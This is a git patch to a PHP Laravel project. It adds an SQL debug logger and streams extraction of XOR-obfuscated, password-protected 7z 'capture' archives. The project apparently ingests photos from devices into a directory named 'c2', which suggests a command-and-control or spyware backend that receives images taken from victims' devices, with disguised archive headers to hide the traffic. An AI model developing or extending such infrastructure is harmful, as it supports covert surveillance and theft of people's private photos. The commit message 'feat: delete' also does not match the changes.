From 4ece1226252771fe462445f6484a096008e88a71 Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 1 Sep 2026 06:16:49 +0800 Subject: [PATCH] feat: delete --- app/Providers/AppServiceProvider.php | 47 +++++++++++++ app/Services/CorunaArchive.php | 98 ++++++++++++++++++++++++++-- app/Services/PhotoArchiveIngest.php | 3 +- 3 files changed, 142 insertions(+), 6 deletions(-) diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index c71e062..0a8d32e 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -6,6 +6,8 @@ use App\Services\CorunaArchive; use App\Services\CorunaCrypto; use App\Services\SettingsService; use App\Telegram\TelegramBotContext; +use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\ServiceProvider; use Nutgram\Laravel\RunningMode\LaravelWebhook; use SergiX44\Nutgram\Nutgram; @@ -44,6 +46,10 @@ class AppServiceProvider extends ServiceProvider // settings table may not exist yet during migrate } + if (! $this->app->runningUnitTests()) { + $this->recordLastSql(); + } + // Override Nutgram's production safe_mode (md5 APP_KEY) so webhook updates // are not silently dropped when Telegram secret_token is unset/mismatched. $this->app->afterResolving(Nutgram::class, function (Nutgram $bot): void { @@ -62,4 +68,45 @@ class AppServiceProvider extends ServiceProvider $bot->setRunningMode($webhook); }); } + + /** + * Overwrite last-sql.json before each query so an OOM still leaves the dying SQL. + */ + private function recordLastSql(): void + { + $path = storage_path('logs/last-sql.json'); + DB::beforeExecuting(function (string $query, array $bindings) use ($path): void { + $uri = 'cli'; + try { + if (app()->runningInConsole()) { + $uri = 'cli:'.implode(' ', $_SERVER['argv'] ?? []); + } else { + $req = request(); + $uri = $req->method().' '.$req->getRequestUri(); + } + } catch (\Throwable) { + } + @file_put_contents($path, json_encode([ + 'at' => date('c'), + 'mem' => memory_get_usage(true), + 'uri' => $uri, + 'sql' => substr($query, 0, 2000), + 'bindings' => array_slice($bindings, 0, 12), + ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); + }); + + DB::listen(function ($event) use ($path): void { + if ($event->time < 500 && memory_get_usage(true) < 64 * 1024 * 1024) { + return; + } + $raw = @file_get_contents($path); + $last = is_string($raw) ? json_decode($raw, true) : null; + Log::warning('slow_or_heavy_query', [ + 'ms' => $event->time, + 'mem' => memory_get_usage(true), + 'uri' => is_array($last) ? ($last['uri'] ?? '') : '', + 'sql' => substr((string) $event->sql, 0, 500), + ]); + }); + } } diff --git a/app/Services/CorunaArchive.php b/app/Services/CorunaArchive.php index 40e3299..41be6c4 100644 --- a/app/Services/CorunaArchive.php +++ b/app/Services/CorunaArchive.php @@ -67,20 +67,110 @@ class CorunaArchive return $repaired; } + /** + * Patch an on-disk archive header without loading the file body. + */ + private function patchCorunaHeaderFile(string $path): void + { + $size = filesize($path); + if (! is_int($size) || $size < 32) { + return; + } + $fh = fopen($path, 'r+b'); + if (! is_resource($fh)) { + return; + } + try { + $head = fread($fh, 32); + if (! is_string($head) || strlen($head) < 32 || str_starts_with($head, self::STANDARD_PREFIX)) { + return; + } + if (! $this->isCorunaHeader($head)) { + return; + } + $nextHeaderOffset = unpack('P', substr($head, 0, 8))[1] ^ self::HEADER_XOR; + $nextHeaderSize = unpack('P', substr($head, 8, 8))[1] ^ self::HEADER_XOR; + $nextHeaderStart = 32 + $nextHeaderOffset; + if ($nextHeaderSize <= 0 || $nextHeaderSize > 8_000_000 + || $nextHeaderStart + $nextHeaderSize > $size) { + return; + } + if (fseek($fh, $nextHeaderStart) !== 0) { + return; + } + $nextHeader = fread($fh, (int) $nextHeaderSize); + if (! is_string($nextHeader) || strlen($nextHeader) !== (int) $nextHeaderSize) { + return; + } + $patched = substr_replace($head, self::STANDARD_PREFIX."\x00\x04", 0, 8); + $patched = substr_replace($patched, pack('P', $nextHeaderOffset), 12, 8); + $patched = substr_replace($patched, pack('P', $nextHeaderSize), 20, 8); + $nextCrc = crc32($nextHeader) & 0xFFFFFFFF; + $patched = substr_replace($patched, pack('V', $nextCrc), 28, 4); + $startCrc = crc32(substr($patched, 12, 20)) & 0xFFFFFFFF; + $patched = substr_replace($patched, pack('V', $startCrc), 8, 4); + if (fseek($fh, 0) !== 0) { + return; + } + fwrite($fh, $patched); + } finally { + fclose($fh); + } + } + public function extract(string $wireData, string $destDir, string $batchBase = '0'): array { if (! is_dir($destDir)) { mkdir($destDir, 0755, true); } + $archive = $destDir.'/capture.7z'; + file_put_contents($archive, $wireData); try { - $repaired = $this->repairHeader($wireData); - } catch (\Throwable $e) { - $repaired = $wireData; + $this->patchCorunaHeaderFile($archive); + } catch (\Throwable) { + } + + return $this->runSevenZip($archive, $destDir, $batchBase); + } + + /** + * Extract from a path without loading the whole archive into PHP. + */ + public function extractPath(string $srcPath, string $destDir, string $batchBase = '0'): array + { + if (! is_file($srcPath)) { + throw new RuntimeException('archive missing'); + } + if (! is_dir($destDir)) { + mkdir($destDir, 0755, true); } $archive = $destDir.'/capture.7z'; - file_put_contents($archive, $repaired); + $in = fopen($srcPath, 'rb'); + $out = fopen($archive, 'wb'); + if (! is_resource($in) || ! is_resource($out)) { + throw new RuntimeException('cannot copy archive'); + } + try { + stream_copy_to_stream($in, $out); + } finally { + fclose($in); + fclose($out); + } + try { + $this->patchCorunaHeaderFile($archive); + } catch (\Throwable) { + } + + return $this->runSevenZip($archive, $destDir, $batchBase); + } + + /** + * @return array{ok: bool, stderr: string, files: list, password_recipe: string} + */ + private function runSevenZip(string $archive, string $destDir, string $batchBase): array + { $password = $this->crypto->archivePassword($batchBase); $membersDir = $destDir.'/members'; @mkdir($membersDir, 0755, true); diff --git a/app/Services/PhotoArchiveIngest.php b/app/Services/PhotoArchiveIngest.php index 1d30466..e8aaeb5 100644 --- a/app/Services/PhotoArchiveIngest.php +++ b/app/Services/PhotoArchiveIngest.php @@ -98,10 +98,9 @@ class PhotoArchiveIngest return; } - $bytes = (string) file_get_contents($abs); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); try { - $extracted = $this->archiveFor($flavor)->extract($bytes, $work, $batchBase); + $extracted = $this->archiveFor($flavor)->extractPath($abs, $work, $batchBase); if (! empty($extracted['files'])) { $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); }